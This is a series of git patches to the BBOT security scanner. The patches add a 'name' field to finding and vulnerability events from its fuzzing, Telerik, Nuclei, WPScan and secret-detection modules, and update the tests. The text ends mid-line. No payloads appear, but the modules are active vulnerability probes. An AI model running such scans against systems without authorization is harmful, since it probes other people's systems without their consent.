"FINDING", + "name": "Lightfuzz - Possible Unsafe Deserialization", "description": f"POSSIBLE Unsafe Deserialization. {self.metadata()} Technique: [Error Resolution] Serialization Payload: [{type}]", } ) @@ -173,6 +174,7 @@ async def fuzz(self): self.results.append( { "type": "FINDING", + "name": "Lightfuzz - Possible Unsafe Deserialization", "description": f"POSSIBLE Unsafe Deserialization. {self.metadata()} Technique: [Differential Error Analysis] Error-String: [{serialization_error}] Payload: [{type}]", } ) diff --git a/bbot/modules/lightfuzz/submodules/sqli.py b/bbot/modules/lightfuzz/submodules/sqli.py index 17afaf9903..5448f1abbd 100644 --- a/bbot/modules/lightfuzz/submodules/sqli.py +++ b/bbot/modules/lightfuzz/submodules/sqli.py @@ -100,6 +100,7 @@ async def fuzz(self): self.results.append( { "type": "FINDING", + "name": "Lightfuzz - Possible SQL Injection", "description": f"Possible SQL Injection. {self.metadata()} Detection Method: [SQL Error Detection] Detected String: [{sqli_error_string}]", } ) @@ -119,6 +120,7 @@ async def fuzz(self): self.results.append( { "type": "FINDING", + "name": "Lightfuzz - Possible SQL Injection", "description": f"Possible SQL Injection. {self.metadata()} Detection Method: [Single Quote/Two Single Quote, Code Change ({http_compare.baseline.status_code}->{single_quote[3].status_code}->{double_single_quote[3].status_code})]", } ) @@ -179,6 +181,7 @@ async def fuzz(self): self.results.append( { "type": "FINDING", + "name": "Lightfuzz - Possible Blind SQL Injection", "description": f"Possible Blind SQL Injection. {self.metadata()} Detection Method: [Delay Probe ({p})]", } ) diff --git a/bbot/modules/lightfuzz/submodules/ssti.py b/bbot/modules/lightfuzz/submodules/ssti.py index 544b10b103..d871ec03a1 100644 --- a/bbot/modules/lightfuzz/submodules/ssti.py +++ b/bbot/modules/lightfuzz/submodules/ssti.py @@ -33,6 +33,7 @@ async def fuzz(self): self.results.append( { "type": "FINDING", + "name": "Lightfuzz - Possible Server-side Template Injection", "description": f"POSSIBLE Server-side Template Injection. {self.metadata()} Detection Method: [Integer Multiplication] Payload: [{probe_value}]", } ) diff --git a/bbot/modules/lightfuzz/submodules/xss.py b/bbot/modules/lightfuzz/submodules/xss.py index 3fc02550e1..13c192915b 100644 --- a/bbot/modules/lightfuzz/submodules/xss.py +++ b/bbot/modules/lightfuzz/submodules/xss.py @@ -91,6 +91,7 @@ async def check_probe(self, cookies, probe, match, context): self.results.append( { "type": "FINDING", + "name": "Lightfuzz - Possible Reflected XSS", "description": f"Possible Reflected XSS. Parameter: [{self.event.data['name']}] Context: [{context}] Parameter Type: [{self.event.data['type']}]", } ) diff --git a/bbot/modules/newsletters.py b/bbot/modules/newsletters.py index 114f7d66fd..3b23307952 100644 --- a/bbot/modules/newsletters.py +++ b/bbot/modules/newsletters.py @@ -51,7 +51,12 @@ async def handle_event(self, event): result = self.find_type(soup) if result: description = "Found a Newsletter Submission Form that could be used for email bombing attacks" - data = {"host": str(_event.host), "description": description, "url": _event.data["url"]} + data = { + "host": str(_event.host), + "description": description, + "url": _event.data["url"], + "name": "Newsletter Submission Form", + } await self.emit_event( data, "FINDING", diff --git a/bbot/modules/ntlm.py b/bbot/modules/ntlm.py index 67268616de..90c5a986c2 100644 --- a/bbot/modules/ntlm.py +++ b/bbot/modules/ntlm.py @@ -120,6 +120,7 @@ async def handle_event(self, event): "host": str(event.host), "url": url, "description": f"NTLM AUTH: {ntlm_resp_decoded}", + "name": "NTLM Authentication", }, "FINDING", parent=event, diff --git a/bbot/modules/nuclei.py b/bbot/modules/nuclei.py index 23e091601a..ee59bd9b61 100644 --- a/bbot/modules/nuclei.py +++ b/bbot/modules/nuclei.py @@ -173,6 +173,7 @@ async def handle_batch(self, *events): "host": str(parent_event.host), "url": url, "description": description_string, + "name": f"Nuclei Vuln - {name}", }, "FINDING", parent_event, @@ -185,6 +186,7 @@ async def handle_batch(self, *events): "host": str(parent_event.host), "url": url, "description": description_string, + "name": f"Nuclei Vuln - {name}", }, "VULNERABILITY", parent_event, diff --git a/bbot/modules/oauth.py b/bbot/modules/oauth.py index 58c0507c09..559dea9313 100644 --- a/bbot/modules/oauth.py +++ b/bbot/modules/oauth.py @@ -62,6 +62,7 @@ async def handle_event(self, event): if token_endpoint: finding_event = self.make_event( { + "name": "OpenID Connect Endpoint", "description": f"OpenID Connect Endpoint (domain: {source_domain}) found at {url}", "host": event.host, "url": url, @@ -101,6 +102,7 @@ async def handle_event(self, event): description = f"Potentially Sprayable OAUTH Endpoint (domain: {source_domain}) at {url}" oauth_finding = self.make_event( { + "name": "Potentially Sprayable OAUTH Endpoint", "description": description, "host": event.host, "url": url, diff --git a/bbot/modules/reflected_parameters.py b/bbot/modules/reflected_parameters.py index f7e17e57e6..a942edd473 100644 --- a/bbot/modules/reflected_parameters.py +++ b/bbot/modules/reflected_parameters.py @@ -25,7 +25,12 @@ async def handle_event(self, event): description += ( f" Original Value: [{self.helpers.truncate_string(str(event.data['original_value']), 200)}]" ) - data = {"host": str(event.host), "description": description, "url": url} + data = { + "host": str(event.host), + "description": description, + "url": url, + "name": "Reflected Parameter", + } await self.emit_event(data, "FINDING", event) async def detect_reflection(self, event, url): @@ -56,17 +61,18 @@ async def send_probe_with_canary(self, event, parameter_name, parameter_value, c data = None json_data = None params = {parameter_name: parameter_value, "c4n4ry": canary_value} + param_type = event.data["type"] - if event.data["type"] == "GETPARAM": + if param_type == "GETPARAM": url = f"{url}?{parameter_name}={parameter_value}&c4n4ry={canary_value}" - elif event.data["type"] == "COOKIE": + elif param_type == "COOKIE": cookies.update(params) - elif event.data["type"] == "HEADER": + elif param_type == "HEADER": headers.update(params) - elif event.data["type"] == "POSTPARAM": + elif param_type == "POSTPARAM": method = "POST" data = params - elif event.data["type"] == "BODYJSON": + elif param_type == "BODYJSON": method = "POST" json_data = params diff --git a/bbot/modules/shodan_idb.py b/bbot/modules/shodan_idb.py index 4a3e2b214a..72fadfaf08 100644 --- a/bbot/modules/shodan_idb.py +++ b/bbot/modules/shodan_idb.py @@ -40,7 +40,7 @@ class shodan_idb(BaseModule): """ watched_events = ["IP_ADDRESS", "DNS_NAME"] - produced_events = ["TECHNOLOGY", "VULNERABILITY", "FINDING", "OPEN_TCP_PORT", "DNS_NAME"] + produced_events = ["TECHNOLOGY", "FINDING", "OPEN_TCP_PORT", "DNS_NAME"] flags = ["passive", "safe", "portscan", "subdomain-enum"] meta = { "description": "Query Shodan's InternetDB for open ports, hostnames, technologies, and vulnerabilities", @@ -143,7 +143,12 @@ async def _parse_response(self, data: dict, event, ip): if vulns: vulns_str = ", ".join([str(v) for v in vulns]) await self.emit_event( - {"description": f"Shodan reported possible vulnerabilities: {vulns_str}", "host": str(event.host)}, + { + "description": f"Shodan reported possible vulnerabilities: {vulns_str}", + "host": str(event.host), + "cves": vulns, + "name": "Shodan - Possible Vulnerabilities", + }, "FINDING", parent=event, context=f'{{module}} queried Shodan\'s InternetDB API for "{query_host}" and found potential {{event.type}}: {vulns_str}', diff --git a/bbot/modules/smuggler.py b/bbot/modules/smuggler.py index 357fec1885..4c7a78cf9e 100644 --- a/bbot/modules/smuggler.py +++ b/bbot/modules/smuggler.py @@ -40,7 +40,12 @@ async def handle_event(self, event): text = f.split(":")[1].split("-")[0].strip() description = f"[HTTP SMUGGLER] [{text}] Technique: {technique}" await self.emit_event( - {"host": str(event.host), "url": event.data, "description": description}, + { + "host": str(event.host), + "url": event.data, + "description": description, + "name": "Possible HTTP Smuggling", + }, "FINDING", parent=event, context=f"{{module}} scanned {event.data} and found HTTP smuggling ({{event.type}}): {text}", diff --git a/bbot/modules/telerik.py b/bbot/modules/telerik.py index cc5e901fd3..f0775b56eb 100644 --- a/bbot/modules/telerik.py +++ b/bbot/modules/telerik.py @@ -242,7 +242,12 @@ async def handle_event(self, event): description = f"Telerik RAU AXD Handler detected. Verbose Errors Enabled: [{str(verbose_errors)}] Version Guess: [{version}]" await self.emit_event( - {"host": str(event.host), "url": f"{base_url}{webresource}", "description": description}, + { + "host": str(event.host), + "url": f"{base_url}{webresource}", + "description": description, + "name": "Telerik Handler", + }, "FINDING", event, context=f"{{module}} scanned {base_url} and identified {{event.type}}: Telerik RAU AXD Handler", @@ -273,6 +278,7 @@ async def handle_event(self, event): "description": description, "host": str(event.host), "url": f"{base_url}{webresource}", + "name": "Telerik RCE", }, "VULNERABILITY", event, @@ -302,7 +308,12 @@ async def handle_event(self, event): self.debug(f"Detected Telerik UI instance ({dh})") description = "Telerik DialogHandler detected" await self.emit_event( - {"host": str(event.host), "url": f"{base_url}{dh}", "description": description}, + { + "host": str(event.host), + "url": f"{base_url}{dh}", + "description": description, + "name": "Telerik Handler", + }, "FINDING", event, ) @@ -326,6 +337,7 @@ async def handle_event(self, event): "host": str(event.host), "url": f"{base_url}{spellcheckhandler}", "description": description, + "name": "Telerik Handler", }, "FINDING", event, @@ -345,6 +357,7 @@ async def handle_event(self, event): "host": str(event.host), "url": f"{base_url}{chartimagehandler}", "description": "Telerik ChartImage AXD Handler Detected", + "name": "Telerik Handler", }, "FINDING", event, @@ -361,6 +374,7 @@ async def handle_event(self, event): "host": str(event.host), "url": url, "description": "Telerik DialogHandler [SerializedParameters] Detected in HTTP Response", + "name": "Telerik Handler", }, "FINDING", event, @@ -372,6 +386,7 @@ async def handle_event(self, event): "host": str(event.host), "url": url, "description": "Telerik AsyncUpload [serializedConfiguration] Detected in HTTP Response", + "name": "Telerik AsyncUpload", }, "FINDING", event, diff --git a/bbot/modules/trufflehog.py b/bbot/modules/trufflehog.py index d300d276d8..72e283fd24 100644 --- a/bbot/modules/trufflehog.py +++ b/bbot/modules/trufflehog.py @@ -123,6 +123,7 @@ async def handle_event(self, event): verified_str = "Verified" if verified else "Possible" finding_type = "VULNERABILITY" if verified else "FINDING" data = { + "name": f"TruffleHog - {detector_name}", "description": f"{verified_str} Secret Found. Detector Type: [{detector_name}] Decoder Type: [{decoder_name}] Details: [{source_metadata}]", } if host: diff --git a/bbot/modules/url_manipulation.py b/bbot/modules/url_manipulation.py index c36b7c39d5..e7863f2308 100644 --- a/bbot/modules/url_manipulation.py +++ b/bbot/modules/url_manipulation.py @@ -77,9 +77,14 @@ async def handle_event(self, event): if str(subject_response.status_code).startswith("2"): if "body" in reasons: reported_signature = f"Modified URL: {sig[1]}" - description = f"Url Manipulation: [{','.join(reasons)}] Sig: [{reported_signature}]" + description = f"URL Manipulation: [{','.join(reasons)}] Sig: [{reported_signature}]" await self.emit_event( - {"description": description, "host": str(event.host), "url": event.data}, + { + "description": description, + "host": str(event.host), + "url": event.data, + "name": "URL Manipulation", + }, "FINDING", parent=event, context=f"{{module}} probed {event.data} and identified {{event.type}}: {description}", diff --git a/bbot/modules/wpscan.py b/bbot/modules/wpscan.py index 4f1a63a1b5..6b128e77c8 100644 --- a/bbot/modules/wpscan.py +++ b/bbot/modules/wpscan.py @@ -174,7 +174,12 @@ def parse_wp_misc(self, interesting_json, base_url, source_event): if url_event: yield url_event yield self.make_event( - {"description": description_string, "url": url, "host": str(source_event.host)}, + { + "description": description_string, + "url": url, + "host": str(source_event.host), + "name": "WPScan - Possible Vulnerability", + }, "FINDING", source_event, ) @@ -197,6 +202,7 @@ def parse_wp_version(self, version_json, url, source_event): "host": str(source_event.host), "url": url, "description": self.vulnerability_to_s(wp_vuln), + "name": "WPScan - Possible Vulnerability", }, "VULNERABILITY", source_event, @@ -222,6 +228,7 @@ def parse_wp_themes(self, theme_json, url, source_event): "host": str(source_event.host), "url": url, "description": self.vulnerability_to_s(theme_vuln), + "name": "WPScan - Possible Vulnerability", }, "VULNERABILITY", source_event, @@ -251,6 +258,7 @@ def parse_wp_plugins(self, plugins_json, base_url, source_event): "host": str(source_event.host), "url": url, "description": self.vulnerability_to_s(vuln), + "name": "WPScan - Possible Vulnerability", }, "VULNERABILITY", source_event, From 9a4e7fc1fbafa4a8b3014f76d12a27956f3cc242 Mon Sep 17 00:00:00 2001 From: github-actions Date: Tue, 29 Apr 2025 15:56:20 -0400 Subject: [PATCH 113/912] tests --- bbot/test/bbot_fixtures.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/bbot/test/bbot_fixtures.py b/bbot/test/bbot_fixtures.py index 105b6f97e1..48c5a91bbd 100644 --- a/bbot/test/bbot_fixtures.py +++ b/bbot/test/bbot_fixtures.py @@ -198,13 +198,16 @@ class bbot_events: "https://api.publicAPIs.org:443/hello.ash", "URL_HINT", parent=url, module=dummy_module ) vulnerability = scan.make_event( - {"host": "evilcorp.com", "severity": "INFO", "description": "asdf"}, + {"host": "evilcorp.com", "severity": "INFO", "description": "asdf", "name": "Vulnerability"}, "VULNERABILITY", parent=scan.root_event, module=dummy_module, ) finding = scan.make_event( - {"host": "evilcorp.com", "description": "asdf"}, "FINDING", parent=scan.root_event, module=dummy_module + {"host": "evilcorp.com", "description": "asdf", "name": "Finding"}, + "FINDING", + parent=scan.root_event, + module=dummy_module, ) vhost = scan.make_event( {"host": "evilcorp.com", "vhost": "www.evilcorp.com"}, "VHOST", parent=scan.root_event, module=dummy_module From baf6e6219386196107048e8a31a6f1902c311734 Mon Sep 17 00:00:00 2001 From: github-actions Date: Tue, 29 Apr 2025 16:13:23 -0400 Subject: [PATCH 114/912] tests --- bbot/test/test_step_1/test_events.py | 63 ++++++++++++++----- .../test_manager_scope_accuracy.py | 6 +- bbot/test/test_step_1/test_modules_basic.py | 9 ++- 3 files changed, 62 insertions(+), 16 deletions(-) diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py index 894bfeb804..3e1099d4bf 100644 --- a/bbot/test/test_step_1/test_events.py +++ b/bbot/test/test_step_1/test_events.py @@ -335,24 +335,44 @@ async def test_events(events, helpers): assert "affiliate" in corrected_event4.tags test_vuln = scan.make_event( - {"host": "EVILcorp.com", "severity": "iNfo ", "description": "asdf"}, "VULNERABILITY", dummy=True + {"host": "EVILcorp.com", "severity": "iNfo ", "description": "asdf", "name": "Vulnerability"}, + "VULNERABILITY", + dummy=True, ) assert test_vuln.data["host"] == "evilcorp.com" assert test_vuln.data["severity"] == "INFO" test_vuln2 = scan.make_event( - {"host": "192.168.1.1", "severity": "iNfo ", "description": "asdf"}, "VULNERABILITY", dummy=True + {"host": "192.168.1.1", "severity": "iNfo ", "description": "asdf", "name": "Vulnerability"}, + "VULNERABILITY", + dummy=True, ) assert json.loads(test_vuln2.data_human)["severity"] == "INFO" assert test_vuln2.host.is_private + # must have severity with pytest.raises(ValidationError, match=".*validation error.*\nseverity\n.*Field required.*"): - test_vuln = scan.make_event({"host": "evilcorp.com", "description": "asdf"}, "VULNERABILITY", dummy=True) + test_vuln = scan.make_event( + {"host": "evilcorp.com", "description": "asdf", "name": "Vulnerability"}, "VULNERABILITY", dummy=True + ) + # invalid host with pytest.raises(ValidationError, match=".*host.*\n.*Invalid host.*"): test_vuln = scan.make_event( - {"host": "!@#$", "severity": "INFO", "description": "asdf"}, "VULNERABILITY", dummy=True + {"host": "!@#$", "severity": "INFO", "description": "asdf", "name": "Vulnerability"}, + "VULNERABILITY", + dummy=True, ) + # invalid severity with pytest.raises(ValidationError, match=".*severity.*\n.*Invalid severity.*"): test_vuln = scan.make_event( - {"host": "evilcorp.com", "severity": "WACK", "description": "asdf"}, "VULNERABILITY", dummy=True + {"host": "evilcorp.com", "severity": "WACK", "description": "asdf", "name": "Vulnerability"}, + "VULNERABILITY", + dummy=True, + ) + # must have name + with pytest.raises(ValidationError, match=".*name.*\n.*Field required.*"): + test_vuln = scan.make_event( + {"host": "evilcorp.com", "severity": "INFO", "description": "asdf"}, + "VULNERABILITY", + dummy=True, ) # test tagging @@ -941,13 +961,15 @@ def test_event_closest_host(): event3 = scan.make_event({"path": "/tmp/asdf.txt"}, "FILESYSTEM", parent=event2) assert not event3.host # finding automatically uses the host from the second event - finding = scan.make_event({"description": "test"}, "FINDING", parent=event3) + finding = scan.make_event({"description": "test", "name": "Finding"}, "FINDING", parent=event3) assert finding.data["host"] == "www.evilcorp.com" assert finding.data["url"] == "http://www.evilcorp.com/asdf" assert finding.data["path"] == "/tmp/asdf.txt" assert finding.host == "www.evilcorp.com" # same with vuln - vuln = scan.make_event({"description": "test", "severity": "HIGH"}, "VULNERABILITY", parent=event3) + vuln = scan.make_event( + {"description": "test", "severity": "HIGH", "name": "Vulnerability"}, "VULNERABILITY", parent=event3 + ) assert vuln.data["host"] == "www.evilcorp.com" assert vuln.data["url"] == "http://www.evilcorp.com/asdf" assert vuln.data["path"] == "/tmp/asdf.txt" @@ -957,19 +979,29 @@ def test_event_closest_host(): event3 = scan.make_event("wat", "ASDF", parent=scan.root_event) assert not event3.host with pytest.raises(ValueError): - finding = scan.make_event({"description": "test"}, "FINDING", parent=event3) - finding = scan.make_event({"path": "/tmp/asdf.txt", "description": "test"}, "FINDING", parent=event3) + finding = scan.make_event({"description": "test", "name": "Finding"}, "FINDING", parent=event3) + finding = scan.make_event( + {"path": "/tmp/asdf.txt", "description": "test", "name": "Finding"}, "FINDING", parent=event3 + ) assert finding is not None - finding = scan.make_event({"host": "evilcorp.com", "description": "test"}, "FINDING", parent=event3) + finding = scan.make_event( + {"host": "evilcorp.com", "description": "test", "name": "Finding"}, "FINDING", parent=event3 + ) assert finding is not None with pytest.raises(ValueError): - vuln = scan.make_event({"description": "test", "severity": "HIGH"}, "VULNERABILITY", parent=event3) + vuln = scan.make_event( + {"description": "test", "severity": "HIGH", "name": "Vulnerability"}, "VULNERABILITY", parent=event3 + ) vuln = scan.make_event( - {"path": "/tmp/asdf.txt", "description": "test", "severity": "HIGH"}, "VULNERABILITY", parent=event3 + {"path": "/tmp/asdf.txt", "description": "test", "severity": "HIGH", "name": "Vulnerability"}, + "VULNERABILITY", + parent=event3, ) assert vuln is not None vuln = scan.make_event( - {"host": "evilcorp.com", "description": "test", "severity": "HIGH"}, "VULNERABILITY", parent=event3 + {"host": "evilcorp.com", "description": "test", "severity": "HIGH", "name": "Vulnerability"}, + "VULNERABILITY", + parent=event3, ) assert vuln is not None @@ -1059,21 +1091,24 @@ def test_event_hashing(): url_event = scan.make_event("https://api.example.com/", "URL_UNVERIFIED", parent=scan.root_event) host_event_1 = scan.make_event("www.example.com", "DNS_NAME", parent=url_event) host_event_2 = scan.make_event("test.example.com", "DNS_NAME", parent=url_event) - finding_data = {"description": "Custom Yara Rule [find_string] Matched via identifier [str1]"} + finding_data = {"description": "Custom Yara Rule [find_string] Matched via identifier [str1]", "name": "Finding"} finding1 = scan.make_event(finding_data, "FINDING", parent=host_event_1) finding2 = scan.make_event(finding_data, "FINDING", parent=host_event_2) finding3 = scan.make_event(finding_data, "FINDING", parent=host_event_2) assert finding1.data == { "description": "Custom Yara Rule [find_string] Matched via identifier [str1]", + "name": "Finding", "host": "www.example.com", } assert finding2.data == { "description": "Custom Yara Rule [find_string] Matched via identifier [str1]", + "name": "Finding", "host": "test.example.com", } assert finding3.data == { "description": "Custom Yara Rule [find_string] Matched via identifier [str1]", + "name": "Finding", "host": "test.example.com", } assert finding1.id != finding2.id diff --git a/bbot/test/test_step_1/test_manager_scope_accuracy.py b/bbot/test/test_step_1/test_manager_scope_accuracy.py index f012b0e3e0..a976498f15 100644 --- a/bbot/test/test_step_1/test_manager_scope_accuracy.py +++ b/bbot/test/test_step_1/test_manager_scope_accuracy.py @@ -115,6 +115,8 @@ async def do_scan(*args, _config={}, _dns_mock={}, scan_callback=None, **kwargs) if scan_callback is not None: scan_callback(scan) output_events = [e async for e in scan.async_start()] + # let modules initialize + await asyncio.sleep(0.5) return ( output_events, dummy_module.events, @@ -268,7 +270,9 @@ async def filter_event(self, event): async def handle_event(self, event): await self.emit_event( - {"host": str(event.host), "description": "yep", "severity": "CRITICAL"}, "VULNERABILITY", parent=event + {"host": str(event.host), "description": "yep", "severity": "CRITICAL", "name": "Vulnerability"}, + "VULNERABILITY", + parent=event, ) def custom_setup(scan): diff --git a/bbot/test/test_step_1/test_modules_basic.py b/bbot/test/test_step_1/test_modules_basic.py index 07b4f6692d..27f4983bce 100644 --- a/bbot/test/test_step_1/test_modules_basic.py +++ b/bbot/test/test_step_1/test_modules_basic.py @@ -354,7 +354,14 @@ async def handle_event(self, event): # quick emit events like FINDINGS behave differently than normal ones # hosts are not speculated from them await self.emit_event( - {"host": "www.evilcorp.com", "url": "http://www.evilcorp.com", "description": "asdf"}, "FINDING", event + { + "host": "www.evilcorp.com", + "url": "http://www.evilcorp.com", + "description": "asdf", + "name": "Finding", + }, + "FINDING", + event, ) await self.emit_event("https://asdf.evilcorp.com", "URL", event, tags=["status-200"]) From 4ae4d5d7e68b2b87e6ee9bfa0c0749e7db3185b7 Mon Sep 17 00:00:00 2001 From: github-actions Date: Wed, 30 Apr 2025 16:35:02 -0400 Subject: [PATCH 115/912] fix tests --- bbot/defaults.yml | 9 +++++++ bbot/modules/internal/excavate.py | 24 ++++++++++++++----- bbot/modules/lightfuzz/lightfuzz.py | 7 +++++- bbot/modules/templates/bucket.py | 7 +++++- .../test_module_url_manipulation.py | 2 +- 5 files changed, 40 insertions(+), 9 deletions(-) diff --git a/bbot/defaults.yml b/bbot/defaults.yml index 95d3eed0ec..319406410b 100644 --- a/bbot/defaults.yml +++ b/bbot/defaults.yml @@ -1,5 +1,14 @@ ### BASIC OPTIONS ### +# NOTE: If used in a preset, these options must be nested underneath "config:" like so: +# config: +# home: ~/.bbot +# keep_scans: 20 +# scope: +# strict: true +# dns: +# minimal: true + # BBOT working directory home: ~/.bbot # How many scan results to keep before cleaning up the older ones diff --git a/bbot/modules/internal/excavate.py b/bbot/modules/internal/excavate.py index 1a7851e463..992fa5040d 100644 --- a/bbot/modules/internal/excavate.py +++ b/bbot/modules/internal/excavate.py @@ -194,7 +194,10 @@ async def process(self, yara_results, event, yara_rule_settings, discovery_conte """ for results in yara_results.values(): for result in results: - event_data = {"description": f"{discovery_context} {yara_rule_settings.description}"} + event_data = { + "name": f"{discovery_context} {yara_rule_settings.description}", + "description": f"{discovery_context} {yara_rule_settings.description}", + } if yara_rule_settings.emit_match: event_data["description"] += f" [{result}]" await self.report(event_data, event, yara_rule_settings, discovery_context) @@ -261,7 +264,8 @@ async def report( # If a description is not set and is needed, provide a basic one if event_type == "FINDING" and "description" not in event_data.keys(): - event_data["description"] = f"{discovery_context} {yara_rule_settings['self.description']}" + event_data["name"] = f"{discovery_context} {yara_rule_settings.description}" + event_data["description"] = f"{discovery_context} {yara_rule_settings.description}" subject = "" if isinstance(event_data, str): subject = f" {event_data}" @@ -281,7 +285,9 @@ def __init__(self, excavate): async def process(self, yara_results, event, yara_rule_settings, discovery_context): for identifier, results in yara_results.items(): for result in results: - event_data = {} + event_data = { + "name": f"Custom Yara Rule [{self.name}]", + } description_string = ( f" with description: [{yara_rule_settings.description}]" if yara_rule_settings.description else "" ) @@ -718,7 +724,8 @@ async def process(self, yara_results, event, yara_rule_settings, discovery_conte for identifier in yara_results.keys(): for findings in yara_results[identifier]: event_data = { - "description": f"{discovery_context} {yara_rule_settings.description} ({identifier})" + "name": "Possible Verbose Error Message", + "description": f"{discovery_context} {yara_rule_settings.description} ({identifier})", } await self.report(event_data, event, yara_rule_settings, discovery_context, event_type="FINDING") @@ -749,7 +756,8 @@ async def process(self, yara_results, event, yara_rule_settings, discovery_conte for identifier in yara_results.keys(): for findings in yara_results[identifier]: event_data = { - "description": f"{discovery_context} {yara_rule_settings.description} ({identifier})" + "name": "Possible Serialized Object", + "description": f"{discovery_context} {yara_rule_settings.description} ({identifier})", } await self.report(event_data, event, yara_rule_settings, discovery_context, event_type="FINDING") @@ -795,7 +803,11 @@ async def process(self, yara_results, event, yara_rule_settings, discovery_conte def abort_if(e): return e.scope_distance > 0 - finding_data = {"host": str(host), "description": f"Non-HTTP URI: {parsed_url.geturl()}"} + finding_data = { + "host": str(host), + "name": "Non-HTTP URI", + "description": f"Non-HTTP URI: {parsed_url.geturl()}", + } await self.report(finding_data, event, yara_rule_settings, discovery_context, abort_if=abort_if) protocol_data = {"protocol": parsed_url.scheme, "host": str(host)} if port: diff --git a/bbot/modules/lightfuzz/lightfuzz.py b/bbot/modules/lightfuzz/lightfuzz.py index e178399e35..ced1ce277d 100644 --- a/bbot/modules/lightfuzz/lightfuzz.py +++ b/bbot/modules/lightfuzz/lightfuzz.py @@ -100,7 +100,12 @@ async def run_submodule(self, submodule, event): await submodule_instance.fuzz() if len(submodule_instance.results) > 0: for r in submodule_instance.results: - event_data = {"host": str(event.host), "url": event.data["url"], "description": r["description"]} + event_data = { + "host": str(event.host), + "url": event.data["url"], + "name": r["name"], + "description": r["description"], + } envelopes = getattr(event, "envelopes", None) envelope_summary = getattr(envelopes, "summary", None) diff --git a/bbot/modules/templates/bucket.py b/bbot/modules/templates/bucket.py index 3cd899d71c..537910dbcc 100644 --- a/bbot/modules/templates/bucket.py +++ b/bbot/modules/templates/bucket.py @@ -67,7 +67,12 @@ async def handle_storage_bucket(self, event): if self.supports_open_check: description, tags = await self._check_bucket_open(bucket_name, url) if description: - event_data = {"host": event.host, "url": url, "description": description} + event_data = { + "host": event.host, + "url": url, + "description": description, + "name": "Open Storage Bucket", + } await self.emit_event( event_data, "FINDING", diff --git a/bbot/test/test_step_2/module_tests/test_module_url_manipulation.py b/bbot/test/test_step_2/module_tests/test_module_url_manipulation.py index 725a96fecf..1961b50ce8 100644 --- a/bbot/test/test_step_2/module_tests/test_module_url_manipulation.py +++ b/bbot/test/test_step_2/module_tests/test_module_url_manipulation.py @@ -34,6 +34,6 @@ def check(self, module_test, events): assert any( e.type == "FINDING" and e.data["description"] - == f"Url Manipulation: [body] Sig: [Modified URL: http://127.0.0.1:8888/?{module_test.module.rand_string}=.xml]" + == f"URL Manipulation: [body] Sig: [Modified URL: http://127.0.0.1:8888/?{module_test.module.rand_string}=.xml]" for e in events ) From 6bdace9c576b9121c60c1666ee5167f7a2a5ada7 Mon Sep 17 00:00:00 2001 From: github-actions Date: Wed, 30 Apr 2025 16:37:45 -0400 Subject: [PATCH 116/912] padding oracle --- bbot/modules/lightfuzz/submodules/crypto.py | 1 + 1 file changed, 1 insertion(+) diff --git a/bbot/modules/lightfuzz/submodules/crypto.py b/bbot/modules/lightfuzz/submodules/crypto.py index 36b8ac18c6..b5bc846f64 100644 --- a/bbot/modules/lightfuzz/submodules/crypto.py +++ b/bbot/modules/lightfuzz/submodules/crypto.py @@ -286,6 +286,7 @@ async def padding_oracle(self, probe_value, cookies): { "type": "VULNERABILITY", "severity": "HIGH", + "name": "Padding Oracle Vulnerability", "description": f"Padding Oracle Vulnerability. Block size: [{str(block_size)}] {self.metadata()}", "context": context, } From 18c40a07c49c96487796b5e089094831210c3633 Mon Sep 17 00:00:00 2001 From: github-actions Date: Thu, 1 May 2025 15:39:52 -0400 Subject: [PATCH 117/912] fix vuln bug --- bbot/core/event/base.py | 5 ++++- bbot/test/test_step_1/test_events.py | 10 ++++++++++ 2 files changed, 14 insertions(+), 1 deletion(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index f49a287774..44b74c5b9e 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -1086,9 +1086,10 @@ def __init__(self, *args, **kwargs): parent_path = parent.data.get("path", None) if parent_path is not None: self.data["path"] = parent_path - # inherit closest host + # inherit closest host+port if parent.host: self.data["host"] = str(parent.host) + self.port = parent.port # we do this to refresh the hash self.data = self.data break @@ -1099,6 +1100,7 @@ def __init__(self, *args, **kwargs): class DictPathEvent(DictEvent): def sanitize_data(self, data): + data = super().sanitize_data(data) new_data = dict(data) new_data["path"] = str(new_data["path"]) file_blobs = getattr(self.scan, "_file_blobs", False) @@ -1557,6 +1559,7 @@ class VULNERABILITY(ClosestHostEvent): } def sanitize_data(self, data): + data = super().sanitize_data(data) self.add_tag(data["severity"].lower()) return data diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py index 3e1099d4bf..6292793e46 100644 --- a/bbot/test/test_step_1/test_events.py +++ b/bbot/test/test_step_1/test_events.py @@ -12,6 +12,16 @@ async def test_events(events, helpers): scan = Scanner() await scan._prep() + # port and netloc derived from URL + test_vuln = scan.make_event( + {"host": "evilcorp.com", "name": "test", "severity": "INFO", "description": "asdf", "url": "http://evilcorp.com/test"}, + "VULNERABILITY", + dummy=True, + ) + assert test_vuln.host == "evilcorp.com" + assert test_vuln.port == 80 + assert test_vuln.netloc == "evilcorp.com:80" + assert events.ipv4.type == "IP_ADDRESS" assert events.ipv4.netloc == "8.8.8.8" assert events.ipv4.port is None From ee5ef0866980ac25e9c8b854a08e3a959cde7faf Mon Sep 17 00:00:00 2001 From: github-actions Date: Thu, 1 May 2025 15:40:22 -0400 Subject: [PATCH 118/912] ruffed --- bbot/test/test_step_1/test_events.py | 26 ++++++++++++++++---------- 1 file changed, 16 insertions(+), 10 deletions(-) diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py index 6292793e46..e1e59b644b 100644 --- a/bbot/test/test_step_1/test_events.py +++ b/bbot/test/test_step_1/test_events.py @@ -12,16 +12,6 @@ async def test_events(events, helpers): scan = Scanner() await scan._prep() - # port and netloc derived from URL - test_vuln = scan.make_event( - {"host": "evilcorp.com", "name": "test", "severity": "INFO", "description": "asdf", "url": "http://evilcorp.com/test"}, - "VULNERABILITY", - dummy=True, - ) - assert test_vuln.host == "evilcorp.com" - assert test_vuln.port == 80 - assert test_vuln.netloc == "evilcorp.com:80" - assert events.ipv4.type == "IP_ADDRESS" assert events.ipv4.netloc == "8.8.8.8" assert events.ipv4.port is None @@ -385,6 +375,22 @@ async def test_events(events, helpers): dummy=True, ) + # port and netloc should be derived from URL + test_vuln = scan.make_event( + { + "host": "evilcorp.com", + "name": "test", + "severity": "INFO", + "description": "asdf", + "url": 